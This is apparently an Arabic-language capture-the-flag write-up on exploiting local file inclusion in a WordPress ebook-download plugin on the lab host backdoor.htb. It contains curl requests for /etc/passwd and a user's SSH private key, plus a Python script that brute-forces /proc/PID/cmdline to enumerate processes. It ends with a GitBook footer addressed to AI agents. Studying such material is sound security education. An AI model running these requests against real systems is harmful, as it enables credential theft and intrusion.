> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md).

# سجلات Proc لـ LFI

## استغلال LFI

**استطلاع الملفات الحساسة:** سرد مستخدمي النظام عبر /etc/passwd:

```bash
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/

```

<figure><img src="/files/e0f2ad44d6fcb97b7fc87611e4042a9eb7708221" alt=""><figcaption></figcaption></figure>

محاولات استرجاع المفتاح الخاص لـ SSH الخاص بالمستخدم `المستخدم`:

```bash
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa"
curl -s -X GET "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/home/user/.ssh/id_rsa.pub"

```

من المحتمل أن تفشل هذه المحاولات بسبب القيود المفروضة على أذونات هذه الملفات.

<figure><img src="/files/a610e1b64099ac7557d6004d986e2dd2d51651f9" alt=""><figcaption></figcaption></figure>

### **LFI - Proc**

**استكشاف proc** إنشاء سكربت بايثون لاستخراج معلومات العمليات عبر الاستكشاف `/proc/[PID]/cmdline`:

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, time, pdb
def def_handler(sig, frame):
    print("/n/n[+]] Exiting.../n")
    sys.exit(1)
# سجلات LFI Proc
signal.signal(signal.SIGINT, def_handler)
# سجلات LFI Proc
main_url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl="
def makeRequest():
    # /proc/PID/cmdline
    p1 = log.progress("هجوم القوة الغاشمة")
    p1.status("بدء هجوم القوة الغاشمة")
    sleep(2)
    for i in range(1, 1000):
        p1.status("المحاولة باستخدام المسار /proc/%s/cmdline" % str(i))
        url = main_url + "/proc/" + str(i) + "/cmdline"
        r = requests.get(url)
        if len(r.content) > 82:
            print("-------------------------------------------------------------------------------------")
            log.info("المسار: /proc/%s/cmdline" % str(i))
            log.info("إجمالي الطول: %s" %len(r.content))
            print(r.content)
            print("-------------------------------------------------------------------------------------")
if __name__ == '__main__':
    makeRequest()

```

من خلال تحليل العمليات، تم تحديد المنفذ 1337 كخادم **gdbserver**.

<figure><img src="/files/292b89084ea82d57e9a8fb667451379290ed5b96" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-proc-logs-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
